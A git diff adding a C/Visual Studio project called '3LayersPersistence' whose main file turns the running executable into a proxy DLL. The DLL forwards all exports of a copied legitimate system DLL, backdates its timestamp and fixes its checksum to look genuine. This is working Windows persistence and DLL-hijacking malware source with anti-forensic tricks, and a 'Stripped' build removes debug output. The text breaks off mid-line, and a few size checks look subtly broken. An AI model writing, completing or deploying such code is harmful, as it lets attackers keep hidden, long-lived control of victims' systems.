diff --git a/3LayersPersistence.sln b/3LayersPersistence.sln new file mode 100644 index 0000000..86d06a0 --- /dev/null +++ b/3LayersPersistence.sln @@ -0,0 +1,37 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36908.2 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "3LayersPersistence", "3LayersPersistence\3LayersPersistence.vcxproj", "{CA309FC7-1D89-487A-9857-BE8EF65AE177}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + Stripped|x64 = Stripped|x64 + Stripped|x86 = Stripped|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x64.ActiveCfg = Debug|x64 + {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x64.Build.0 = Debug|x64 + {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x86.ActiveCfg = Debug|Win32 + {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Debug|x86.Build.0 = Debug|Win32 + {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x64.ActiveCfg = Release|x64 + {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x64.Build.0 = Release|x64 + {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x86.ActiveCfg = Release|Win32 + {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Release|x86.Build.0 = Release|Win32 + {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x64.ActiveCfg = Stripped|x64 + {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x64.Build.0 = Stripped|x64 + {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x86.ActiveCfg = Stripped|Win32 + {CA309FC7-1D89-487A-9857-BE8EF65AE177}.Stripped|x86.Build.0 = Stripped|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {980CB615-CE81-406B-86CE-1FA24352AC65} + EndGlobalSection +EndGlobal diff --git a/3LayersPersistence/3LayersPersistence.vcxproj b/3LayersPersistence/3LayersPersistence.vcxproj new file mode 100644 index 0000000..77a974f --- /dev/null +++ b/3LayersPersistence/3LayersPersistence.vcxproj @@ -0,0 +1,236 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + Stripped + Win32 + + + Stripped + x64 + + + + 17.0 + Win32Proj + {ca309fc7-1d89-487a-9857-be8ef65ae177} + 3LayersPersistence + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + false + + + + Level3 + true + _DBG_USE_DEBUGSTR;_DBG_USE_CONSOLE;_DBG_FORCE + true + $(ProjectDir)Utilities + stdcpp17 + + + Console + true + + + + + Level3 + true + true + true + _DBG_USE_DEBUGSTR;_DBG_FORCE;NDEBUG + true + $(ProjectDir)Utilities + stdcpp17 + + + Console + true + + + + + Level3 + true + true + false + + + true + $(ProjectDir)Utilities + stdcpp17 + None + false + false + MultiThreadedDLL + false + MinSpace + + + Windows + false + + + EntryPoint + Default + + + + + Level3 + true + _DBG_USE_DEBUGSTR;_DBG_USE_CONSOLE;_DBG_FORCE + true + $(ProjectDir)Utilities + stdcpp17 + + + Console + true + + + + + Level3 + true + true + true + _DBG_USE_DEBUGSTR;_DBG_FORCE;NDEBUG + true + $(ProjectDir)Utilities + stdcpp17 + + + Console + true + + + + + Level3 + true + true + false + + + true + $(ProjectDir)Utilities + stdcpp17 + None + false + false + MultiThreadedDLL + false + MinSpace + + + Windows + false + + + EntryPoint + Default + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/3LayersPersistence/3LayersPersistence.vcxproj.filters b/3LayersPersistence/3LayersPersistence.vcxproj.filters new file mode 100644 index 0000000..8b04948 --- /dev/null +++ b/3LayersPersistence/3LayersPersistence.vcxproj.filters @@ -0,0 +1,48 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {e116f4f5-8db7-4a12-bdbf-a531ee0c1635} + + + + + Source Files + + + CommonUtilities + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + CommonUtilities + + + Header Files + + + \ No newline at end of file diff --git a/3LayersPersistence/3LayersPersistence.vcxproj.user b/3LayersPersistence/3LayersPersistence.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/3LayersPersistence/3LayersPersistence.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/3LayersPersistence/ConvertExeToDll.c b/3LayersPersistence/ConvertExeToDll.c new file mode 100644 index 0000000..686a34e --- /dev/null +++ b/3LayersPersistence/ConvertExeToDll.c @@ -0,0 +1,659 @@ +#include "Headers.h" + + +/* +// Example Array +static EXPORT_ENTRY g_ExampleExportTable[] = +{ + { "HelloWorld", (ULONG_PTR)RunMessageBox, 1, NULL }, // named export + { "HeapAlloc", 0x00, 2, "NTDLL.RtlAllocateHeap" }, // named forward + { NULL, (ULONG_PTR)RunMessageBox, 3, NULL }, // ordinal-only (#3) + { "HeapFree", 0x00, 1053, "NTDLL.#1053" }, // forward by ordinal + { NULL, 0x00, 21, "NTDLL.#1053" }, // ordinal-only, forward by ordinal + + { NULL, 0x00, INVALID_ORDINAL, NULL } // sentinel +}; +*/ + + +static DWORD RvaToFileOffset(IN PIMAGE_NT_HEADERS pNtHdrs, IN DWORD dwRva) +{ + PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHdrs); + + for (WORD i = 0; i < pNtHdrs->FileHeader.NumberOfSections; i++, pSection++) + { + if (dwRva >= pSection->VirtualAddress && dwRva < pSection->VirtualAddress + pSection->Misc.VirtualSize) + return (dwRva - pSection->VirtualAddress) + pSection->PointerToRawData; + } + + return 0x00; +} + + +static DWORD ComputePECheckSum(IN PVOID pFileBuffer, IN DWORD dwFileSize) +{ + PIMAGE_NT_HEADERS pNtHdrs = NULL; + PWORD pwWordView = NULL; + DWORD dwWordCount = 0x00; + DWORD dwChkSumIdx = 0x00; + ULONGLONG ullAccumulator = 0x00; + + if (!pFileBuffer || !dwFileSize) + return 0x00; + + pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew); + if (((PIMAGE_DOS_HEADER)pFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE) + { + DBG("[!] Invalid PE Headers"); + return 0x00; + } + + pwWordView = (PWORD)pFileBuffer; + dwWordCount = (dwFileSize + 1) / sizeof(WORD); + dwChkSumIdx = (DWORD)((PBYTE)&pNtHdrs->OptionalHeader.CheckSum - (PBYTE)pFileBuffer) / sizeof(WORD); + + for (DWORD i = 0; i < dwWordCount; i++) + { + // Skip the CheckSum Field Itself + if (i == dwChkSumIdx || i == dwChkSumIdx + 1) + continue; + + ullAccumulator = (ullAccumulator & 0xFFFF) + (ullAccumulator >> 16) + pwWordView[i]; + } + + ullAccumulator = (ullAccumulator & 0xFFFF) + (ullAccumulator >> 16); + return (DWORD)((WORD)ullAccumulator + dwFileSize); +} + + +static DWORD GetDllTimestamp(IN PVOID pFileBuffer, IN DWORD dwFileSize) +{ + PIMAGE_NT_HEADERS pNtHdrs = NULL; + FILETIME ft = { 0 }; + ULARGE_INTEGER uli = { 0 }; + DWORD dwTimeStamp = 0x00; + + if (!pFileBuffer || !dwFileSize) + return 0x00; + + GetSystemTimeAsFileTime(&ft); + + uli.LowPart = ft.dwLowDateTime; + uli.HighPart = ft.dwHighDateTime; + uli.QuadPart -= 116444736000000000ULL; + uli.QuadPart /= 10000000ULL; + + pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew); + if (((PIMAGE_DOS_HEADER)pFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE) + { + DBG("[!] Invalid PE Headers"); + return 0x00; + } + +#define SECONDS_PER_DAY (60 * 60 * 24) +#define DAYS_TO_SECONDS(x) ((x) * SECONDS_PER_DAY) + + dwTimeStamp = pNtHdrs->FileHeader.TimeDateStamp; + + // Make it older by 30 days + if (dwTimeStamp > (DWORD)uli.QuadPart || dwTimeStamp < DAYS_TO_SECONDS(30)) + dwTimeStamp = (DWORD)uli.QuadPart - DAYS_TO_SECONDS(60); + else + dwTimeStamp = dwTimeStamp - DAYS_TO_SECONDS(30); + +#undef SECONDS_PER_DAY +#undef DAYS_TO_SECONDS + + return dwTimeStamp; +} + + +static BOOL BuildExportTableFromDll(IN ULONG_PTR uDllFileBuffer, IN DWORD dwDllFileSize, IN LPCSTR pszCopiedDllName, OUT PEXPORT_ENTRY* ppExportTable, OUT PDWORD pdwExportCount) +{ + PIMAGE_NT_HEADERS pNtHdrs = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDir = NULL; + PDWORD pdwFuncRVAs = NULL; + PDWORD pdwNameRVAs = NULL; + PWORD pwNameOrdinals = NULL; + ULONG_PTR uBlobBuffer = 0x00; + PEXPORT_ENTRY pEntries = NULL; + PBYTE pStrings = NULL; + CHAR szModulePrefix[MAX_PATH] = { 0 }; + CHAR szForwardBuf[MAX_PATH] = { 0 }; + DWORD dwActualCount = 0x00, + dwTotalStringSize = 0x00, + dwStringOffset = 0x00, + dwEntryIdx = 0x00; + HRESULT hResult = S_OK; + BOOL bResult = FALSE; + + if (!uDllFileBuffer || !dwDllFileSize || !pszCopiedDllName || !ppExportTable || !pdwExportCount) + return FALSE; + + pNtHdrs = (PIMAGE_NT_HEADERS)(uDllFileBuffer + ((PIMAGE_DOS_HEADER)uDllFileBuffer)->e_lfanew); + if (((PIMAGE_DOS_HEADER)uDllFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE) + { + DBG("[!] Invalid PE Headers"); + goto _END_OF_FUNC; + } + + if (!pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) + { + DBG("[!] No Export Directory Found In The Provided DLL Buffer"); + goto _END_OF_FUNC; + } + + // Resolve the Array of RVAs, Array of Names, Array of Ordinals Using 'RvaToFileOffset' + pExportDir = (PIMAGE_EXPORT_DIRECTORY)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)); + pdwFuncRVAs = (PDWORD)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pExportDir->AddressOfFunctions)); + pdwNameRVAs = (PDWORD)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pExportDir->AddressOfNames)); + pwNameOrdinals = (PWORD) (uDllFileBuffer + RvaToFileOffset(pNtHdrs, pExportDir->AddressOfNameOrdinals)); + + // Build forward module prefix from the copied DLL name ("dspatial.dll" -> "DSPATIAL") + // This prefix is prepended to every forwarded export string ("DSPATIAL.FuncName" / "DSPATIAL.#7") + if (FAILED((hResult = StringCchCopyA(szModulePrefix, ARRAYSIZE(szModulePrefix), pszCopiedDllName)))) + { + DBG_HEX_ERROR("StringCchCopyA", hResult); + goto _END_OF_FUNC; + } + + PathRemoveExtensionA(szModulePrefix); + CharUpperA(szModulePrefix); + + // First pass (dry run): To count non-empty slots and total string size needed for the blob + for (DWORD i = 0; i < pExportDir->NumberOfFunctions; i++) + { + if (!pdwFuncRVAs[i]) + continue; + + WORD wOrdinal = (WORD)(pExportDir->Base + i); + LPCSTR pszName = NULL; + + // Walk the name table to find a name for this ordinal index if any. + // If not, we use the ordinal + for (DWORD j = 0; j < pExportDir->NumberOfNames; j++) + { + if (pwNameOrdinals[j] == i) + { + pszName = (LPCSTR)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pdwNameRVAs[j])); + break; + } + } + + if (pszName) + { + // Forward string: "MODULE.Name" (exported by name) + dwTotalStringSize += (DWORD)lstrlenA(pszName) + 1; + dwTotalStringSize += (DWORD)lstrlenA(szModulePrefix) + 1 + (DWORD)lstrlenA(pszName) + 1; + } + else + { + // Forward string: "MODULE.#N" (exported by ordinal) + wsprintfA(szForwardBuf, "%s.#%u", szModulePrefix, wOrdinal); + dwTotalStringSize += (DWORD)lstrlenA(szForwardBuf) + 1; + } + + dwActualCount++; + } + + if (!dwActualCount) + { + DBG("[!] No Export Directory Found In The Provided DLL Buffer"); + goto _END_OF_FUNC; + } + + // Allocate a single blob: + // [ EXPORT_ENTRY * (dwActualCount + 1) ] +1 for the sentinel terminator entry + // [ String Pool: dwTotalStringSize bytes ] + HEAP_ALLOC(uBlobBuffer, ((dwActualCount + 1) * sizeof(EXPORT_ENTRY) + dwTotalStringSize)); + if (!uBlobBuffer) + goto _END_OF_FUNC; + + pEntries = (PEXPORT_ENTRY)uBlobBuffer; + pStrings = (PBYTE)(uBlobBuffer + (dwActualCount + 1) * sizeof(EXPORT_ENTRY)); + + // Second pass: Write EXPORT_ENTRY structs and pack strings into thje allocated blob + for (DWORD i = 0; i < pExportDir->NumberOfFunctions; i++) + { + if (!pdwFuncRVAs[i]) + continue; + + WORD wOrdinal = (WORD)(pExportDir->Base + i); + LPCSTR pszName = NULL; + DWORD dwLen = 0x00; + + for (DWORD j = 0; j < pExportDir->NumberOfNames; j++) + { + if (pwNameOrdinals[j] == i) + { + pszName = (LPCSTR)(uDllFileBuffer + RvaToFileOffset(pNtHdrs, pdwNameRVAs[j])); + break; + } + } + + pEntries[dwEntryIdx].uFuncAddress = 0x00; + pEntries[dwEntryIdx].wOrdinal = wOrdinal; + + // Build "MODULE.Name" forward string + if (pszName) + { + dwLen = (DWORD)lstrlenA(pszName) + 1; + RtlCopyMemory(pStrings + dwStringOffset, pszName, dwLen); + pEntries[dwEntryIdx].pszName = (LPCSTR)(pStrings + dwStringOffset); + dwStringOffset += dwLen; + + wsprintfA(szForwardBuf, "%s.%s", szModulePrefix, pszName); + dwLen = (DWORD)lstrlenA(szForwardBuf) + 1; + RtlCopyMemory(pStrings + dwStringOffset, szForwardBuf, dwLen); + pEntries[dwEntryIdx].pszForward = (LPCSTR)(pStrings + dwStringOffset); + dwStringOffset += dwLen; + } + // Build "MODULE.#N" forward string + else + { + pEntries[dwEntryIdx].pszName = NULL; + + wsprintfA(szForwardBuf, "%s.#%u", szModulePrefix, wOrdinal); + dwLen = (DWORD)lstrlenA(szForwardBuf) + 1; + RtlCopyMemory(pStrings + dwStringOffset, szForwardBuf, dwLen); + pEntries[dwEntryIdx].pszForward = (LPCSTR)(pStrings + dwStringOffset); + dwStringOffset += dwLen; + } + + /* + DBG("[dbg] Export Built | %-30s | Forward: %s | Ordinal: %u", + pEntries[dwEntryIdx].pszName ? pEntries[dwEntryIdx].pszName : "", + pEntries[dwEntryIdx].pszForward, + wOrdinal); + */ + + dwEntryIdx++; + } + + // Sentinel to mark the end of the table + pEntries[dwActualCount].pszName = NULL; + pEntries[dwActualCount].uFuncAddress = 0x00; + pEntries[dwActualCount].wOrdinal = INVALID_ORDINAL; + pEntries[dwActualCount].pszForward = NULL; + + *ppExportTable = pEntries; + *pdwExportCount = dwActualCount; + + bResult = TRUE; + +_END_OF_FUNC: + if (!bResult) + HEAP_FREE(uBlobBuffer); + return bResult; +} + + +static BOOL PatchExportAddressTable(IN OUT PULONG_PTR puFileBuffer, IN OUT PDWORD pdwFileSize, IN LPCSTR pszDllName, IN PEXPORT_ENTRY pExportTable, IN DWORD dwExportCount, IN DWORD dwTimeDateStamp) +{ + PIMAGE_NT_HEADERS pNtHdrs = NULL; + PIMAGE_SECTION_HEADER pNewSection = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDir = NULL; + ULONG_PTR uModule = 0x00; + ULONG_PTR uNewBuffer = 0x00; + PBYTE pBlob = NULL; + PDWORD pdwFuncRVAs = NULL; + PDWORD pdwNameRVAs = NULL; + PWORD pwOrdinals = NULL; + DWORD dwNameIdx = 0x00, + dwNumExports = 0x00, + dwNumNames = 0x00, + dwNumFuncSlots = 0x00, + dwSectionVA = 0x00, + dwSectionRaw = 0x00, + dwSectionAlign = 0x00, + dwFileAlign = 0x00, + dwNewFileSize = 0x00, + dwBlobSize = 0x00, + dwOffExpDir = 0x00, + dwOffFuncRVAs = 0x00, + dwOffNameRVAs = 0x00, + dwOffOrdinals = 0x00, + dwOffDllName = 0x00, + dwOffNames = 0x00, + dwOffForwards = 0x00; + BOOL bResult = FALSE; + + if (!puFileBuffer || !pdwFileSize || !pszDllName || !pExportTable || !dwExportCount) + return FALSE; + + // Needed later to convert absolute function addresses to image-relative RVAs + uModule = (ULONG_PTR)GetModuleHandle(NULL); + + // Count exports, named entries, and the highest ordinal to correctly size the sparse FuncRVA table + while (dwNumExports < dwExportCount && pExportTable[dwNumExports].wOrdinal != INVALID_ORDINAL) + { + if (pExportTable[dwNumExports].pszName != NULL) + dwNumNames++; + + // FuncRVA table is ordinal-indexed and sparse + // Its slot count equals the highest ordinal value, not the export count + if ((DWORD)pExportTable[dwNumExports].wOrdinal + 1 > dwNumFuncSlots) + dwNumFuncSlots = (DWORD)pExportTable[dwNumExports].wOrdinal; + + dwNumExports++; + } + + if (dwNumExports == 0) + { + DBG("[!] Export Table Is Empty"); + return FALSE; + } + + /* + DBG("[dbg] %u Export(s) | %u Named | %u Ordinal-Only | %u FuncRVA Slot(s)", dwNumExports, dwNumNames, dwNumExports - dwNumNames, dwNumFuncSlots); + */ + + pNtHdrs = (PIMAGE_NT_HEADERS)(*puFileBuffer + ((PIMAGE_DOS_HEADER)*puFileBuffer)->e_lfanew); + if (((PIMAGE_DOS_HEADER)*puFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pNtHdrs->Signature != IMAGE_NT_SIGNATURE) + { + DBG("[!] Invalid PE Headers"); + return FALSE; + } + + // Verify there is room in the headers region for one additional section header entry before we start working + if ((DWORD)((PBYTE)(pNewSection + 1) - (PBYTE)uNewBuffer) > pNtHdrs->OptionalHeader.SizeOfHeaders) + { + DBG("[!] No Room For New Section Header (Required: 0x%08X | Available: 0x%08X)", + (DWORD)((PBYTE)(pNewSection + 1) - (PBYTE)*puFileBuffer), pNtHdrs->OptionalHeader.SizeOfHeaders); + return FALSE; + } + + dwSectionAlign = pNtHdrs->OptionalHeader.SectionAlignment; + dwFileAlign = pNtHdrs->OptionalHeader.FileAlignment; + + // New section is placed after the last existing section, aligned to both section and file alignment + { + PIMAGE_SECTION_HEADER pLastSection = IMAGE_FIRST_SECTION(pNtHdrs) + (pNtHdrs->FileHeader.NumberOfSections - 1); + dwSectionVA = ALIGN_UP(pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize, dwSectionAlign); + dwSectionRaw = ALIGN_UP(*pdwFileSize, dwFileAlign); + /* + DBG("[dbg] New Section | VA: 0x%08X | FileOffset: 0x%08X", dwSectionVA, dwSectionRaw); + */ + } + + // ---------------------------------------------------------------------------------------------- + // Compute blob-relative offsets for each sub-region of the export section. + // + // Blob layout (all offsets are relative to the start of the new section): + // + // [0x00] IMAGE_EXPORT_DIRECTORY (fixed size) + // [+sizeof(EXPDIR)] FuncRVAs[] (4 * dwNumFuncSlots — sparse, ordinal-indexed EAT) + // [+...] NameRVAs[] (4 * dwNumNames — RVAs into the name string pool) + // [+...] Ordinals[] (2 * dwNumNames — EONT, WORD-sized, DWORD-padded) + // [+...] DLL name string (null-terminated) + // [+...] Export name strings (one per named export, null-terminated) + // [+...] Forward strings (one per forwarded export, after all name strings) + // ---------------------------------------------------------------------------------------------- + + dwOffExpDir = 0x00; + dwOffFuncRVAs = dwOffExpDir + sizeof(IMAGE_EXPORT_DIRECTORY); + dwOffNameRVAs = dwOffFuncRVAs + dwNumFuncSlots * sizeof(DWORD); + dwOffOrdinals = dwOffNameRVAs + dwNumNames * sizeof(DWORD); + dwOffDllName = ALIGN_UP(dwOffOrdinals + dwNumNames * sizeof(WORD), sizeof(DWORD)); // pad to DWORD boundary before placing the DLL name + dwOffNames = dwOffDllName + (DWORD)lstrlenA(pszDllName) + 1; + + // Walk the table once to accumulate the variable-length name and forward string sizes + dwBlobSize = dwOffNames; + for (DWORD i = 0; i < dwNumExports; i++) + { + if (pExportTable[i].pszName != NULL) dwBlobSize += (DWORD)lstrlenA(pExportTable[i].pszName) + 1; + if (pExportTable[i].pszForward != NULL) dwBlobSize += (DWORD)lstrlenA(pExportTable[i].pszForward) + 1; + } + + + // Allocate a new buffer large enough for the original file data plus the aligned export section + dwNewFileSize = dwSectionRaw + ALIGN_UP(dwBlobSize, dwFileAlign); + HEAP_ALLOC(uNewBuffer, dwNewFileSize); + if (!uNewBuffer) return FALSE; + + RtlCopyMemory((PVOID)uNewBuffer, (PVOID)*puFileBuffer, *pdwFileSize); + HEAP_FREE(*puFileBuffer); + + // Re-derive NT headers pointer after reallocation + pNtHdrs = (PIMAGE_NT_HEADERS)(uNewBuffer + ((PIMAGE_DOS_HEADER)uNewBuffer)->e_lfanew); + pBlob = (PBYTE)(uNewBuffer + dwSectionRaw); + + // Fill IMAGE_EXPORT_DIRECTORY. + // All address fields are VAs relative to the section base (not file offsets) + pExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBlob + dwOffExpDir); + pExportDir->Name = dwSectionVA + dwOffDllName; + pExportDir->Base = 0x01; // ordinals are 1-based + pExportDir->TimeDateStamp = dwTimeDateStamp; + pExportDir->NumberOfFunctions = dwNumFuncSlots; + pExportDir->NumberOfNames = dwNumNames; + pExportDir->AddressOfFunctions = dwSectionVA + dwOffFuncRVAs; + pExportDir->AddressOfNames = dwSectionVA + dwOffNameRVAs; + pExportDir->AddressOfNameOrdinals = dwSectionVA + dwOffOrdinals; + + pdwFuncRVAs = (PDWORD)(pBlob + dwOffFuncRVAs); + pdwNameRVAs = (PDWORD)(pBlob + dwOffNameRVAs); + pwOrdinals = (PWORD )(pBlob + dwOffOrdinals); + + RtlCopyMemory(pBlob + dwOffDllName, pszDllName, lstrlenA(pszDllName) + 1); + + // Pre-compute where forward strings begin inside the blob + dwOffForwards = dwOffNames; + for (DWORD i = 0; i < dwNumExports; i++) + { + if (pExportTable[i].pszName != NULL) dwOffForwards += (DWORD)lstrlenA(pExportTable[i].pszName) + 1; + } + + // Main Loop + for (DWORD i = 0; i < dwNumExports; i++) + { + PEXPORT_ENTRY pEntry = &pExportTable[i]; + DWORD dwStrSize = 0x00; + + if (pEntry->pszForward != NULL) + { + // For a forwarded export, the FuncRVA slot holds the VA of the forward string (not a function code RVA) + pdwFuncRVAs[pEntry->wOrdinal - pExportDir->Base] = dwSectionVA + dwOffForwards; + + dwStrSize = (DWORD)lstrlenA(pEntry->pszForward) + 1; + RtlCopyMemory(pBlob + dwOffForwards, pEntry->pszForward, dwStrSize); + dwOffForwards += dwStrSize; + } + else + { + // For a real export, store the function's RVA relative to the module base + // NOTE: + // This branch is never executed in this project because we use this function with a table + // built by 'BuildExportTableFromDll', which produces only forwarded functions. + // For comparison, check out the commented 'g_ExampleExportTable' variable where we have all types of functions + pdwFuncRVAs[pEntry->wOrdinal - pExportDir->Base] = (DWORD)(pEntry->uFuncAddress - uModule); + } + + if (pEntry->pszName != NULL) + { + // NameRVAs and Ordinals arrays are parallel + // pdwNameRVAs[k] is the RVA of the name string whose ordinal index is pwOrdinals[k]. + // dwNameIdx links the two + pdwNameRVAs[dwNameIdx] = dwSectionVA + dwOffNames; + pwOrdinals[dwNameIdx] = (WORD)(pEntry->wOrdinal - pExportDir->Base); + dwNameIdx++; + + dwStrSize = (DWORD)lstrlenA(pEntry->pszName) + 1; + RtlCopyMemory(pBlob + dwOffNames, pEntry->pszName, dwStrSize); + dwOffNames += dwStrSize; + + if (pEntry->pszForward != NULL) + DBG("[+] Export[%u] | %-30s | Forward To: %-30s | Ordinal: %u", i, pEntry->pszName, pEntry->pszForward, pEntry->wOrdinal); + else + DBG("[+] Export[%u] | %-30s | RVA: 0x%08X | Ordinal: %u", i, pEntry->pszName, pdwFuncRVAs[pEntry->wOrdinal], pEntry->wOrdinal); + } + else + { + if (pEntry->pszForward != NULL) + DBG("[+] Export[%u] | | Forward To: %-30s | Ordinal: %u", i, pEntry->pszForward, pEntry->wOrdinal); + else + DBG("[+] Export[%u] | | RVA: 0x%08X | Ordinal: %u", i, pdwFuncRVAs[pEntry->wOrdinal], pEntry->wOrdinal); + } + } + + // AddressOfNames must be sorted ascending (so that the PE loader's binary search logic work) + if (dwNumNames > 1) + { + for (DWORD i = 0; i < dwNumNames - 1; i++) + { + for (DWORD j = i + 1; j < dwNumNames; j++) + { + // Resolve both name RVAs back to their string pointers for comparison + LPCSTR pszA = (LPCSTR)(uNewBuffer + dwSectionRaw + (pdwNameRVAs[i] - dwSectionVA)); + LPCSTR pszB = (LPCSTR)(uNewBuffer + dwSectionRaw + (pdwNameRVAs[j] - dwSectionVA)); + + if (lstrcmpA(pszA, pszB) > 0) + { + // Swap both the name RVA and its paired ordinal to keep the two arrays in sync + DWORD dwTmp = pdwNameRVAs[i]; + pdwNameRVAs[i] = pdwNameRVAs[j]; + pdwNameRVAs[j] = dwTmp; + + WORD wTmp = pwOrdinals[i]; + pwOrdinals[i] = pwOrdinals[j]; + pwOrdinals[j] = wTmp; + } + } + } + } + + // Append a new section header for the export blob (".edata") + pNewSection = IMAGE_FIRST_SECTION(pNtHdrs) + pNtHdrs->FileHeader.NumberOfSections; + + RtlSecureZeroMemory(pNewSection, sizeof(IMAGE_SECTION_HEADER)); + + // Populate the new section's data + RtlCopyMemory(pNewSection->Name, EDATA_SECTION_NAME, sizeof(EDATA_SECTION_NAME) - 1); + pNewSection->Misc.VirtualSize = dwBlobSize; // actual data size + pNewSection->VirtualAddress = dwSectionVA; + pNewSection->SizeOfRawData = ALIGN_UP(dwBlobSize, dwFileAlign); // padded data size + pNewSection->PointerToRawData = dwSectionRaw; + pNewSection->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_INITIALIZED_DATA; + + // Add the new section to the headers + pNtHdrs->FileHeader.NumberOfSections++; + pNtHdrs->FileHeader.TimeDateStamp = dwTimeDateStamp; + pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress = dwSectionVA; + pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size = dwBlobSize; + // SizeOfImage should be rounded up to SectionAlignment + pNtHdrs->OptionalHeader.SizeOfImage = dwSectionVA + ALIGN_UP(dwBlobSize, dwSectionAlign); + pNtHdrs->OptionalHeader.CheckSum = ComputePECheckSum((PVOID)uNewBuffer, dwNewFileSize); + + DBG("[+] NT Headers Patched | SizeOfImage: 0x%08X | Export VA: 0x%08X | CheckSum: 0x%08X", + pNtHdrs->OptionalHeader.SizeOfImage, dwSectionVA, pNtHdrs->OptionalHeader.CheckSum); + + *puFileBuffer = uNewBuffer; + *pdwFileSize = dwNewFileSize; + bResult = TRUE; + +_END_OF_FUNC: + if (!bResult) + HEAP_FREE(uNewBuffer); + return bResult; +} + + +BOOL ConvertExecutableToDll(IN LPCSTR pszOriginalDllPath, IN LPCSTR pszCopiedDllName, IN ULONG_PTR uDllMain, OUT PBYTE* ppDllBuffer, OUT DWORD* pdwDllFileSize) +{ + WCHAR wszExePath[MAX_PATH] = { 0 }; + PBYTE pOriginalDllBuffer = NULL; + DWORD dwOriginalDllSize = 0x00; + PEXPORT_ENTRY pExportTable = NULL; + DWORD dwExportCount = 0x00; + DWORD dwDllMainRva = 0x00; + DWORD dwOriginalDllTimeStamp = 0x00; + ULONG_PTR uFileBuffer = 0x00; + HMODULE hCurrentModule = NULL; + DWORD dwFileSize = 0x00; + PIMAGE_NT_HEADERS pImgNtHdrs = NULL; + LPWSTR pwszOriginalDllPath = NULL; + + if (!ppDllBuffer || !pdwDllFileSize || !uDllMain || !pszOriginalDllPath || !pszCopiedDllName) + return FALSE; + + *ppDllBuffer = NULL; + *pdwDllFileSize = 0x00; + + hCurrentModule = GetModuleHandle(NULL); + + // Calculate DllMain's RVA is to set as the DLL entry point after patching + dwDllMainRva = (DWORD)(uDllMain - (ULONG_PTR)hCurrentModule); + + // Read self executable from disk + if (GetModuleFileNameW(hCurrentModule, wszExePath, MAX_PATH) == 0) + { + DBG_LAST_ERROR("GetModuleFileNameW"); + goto _END_OF_FUNC; + } + + if (!ReadFileFromDiskW(wszExePath, (PBYTE*)&uFileBuffer, &dwFileSize)) + goto _END_OF_FUNC; + + pImgNtHdrs = (PIMAGE_NT_HEADERS)(uFileBuffer + ((PIMAGE_DOS_HEADER)uFileBuffer)->e_lfanew); + if (((PIMAGE_DOS_HEADER)uFileBuffer)->e_magic != IMAGE_DOS_SIGNATURE || pImgNtHdrs->Signature != 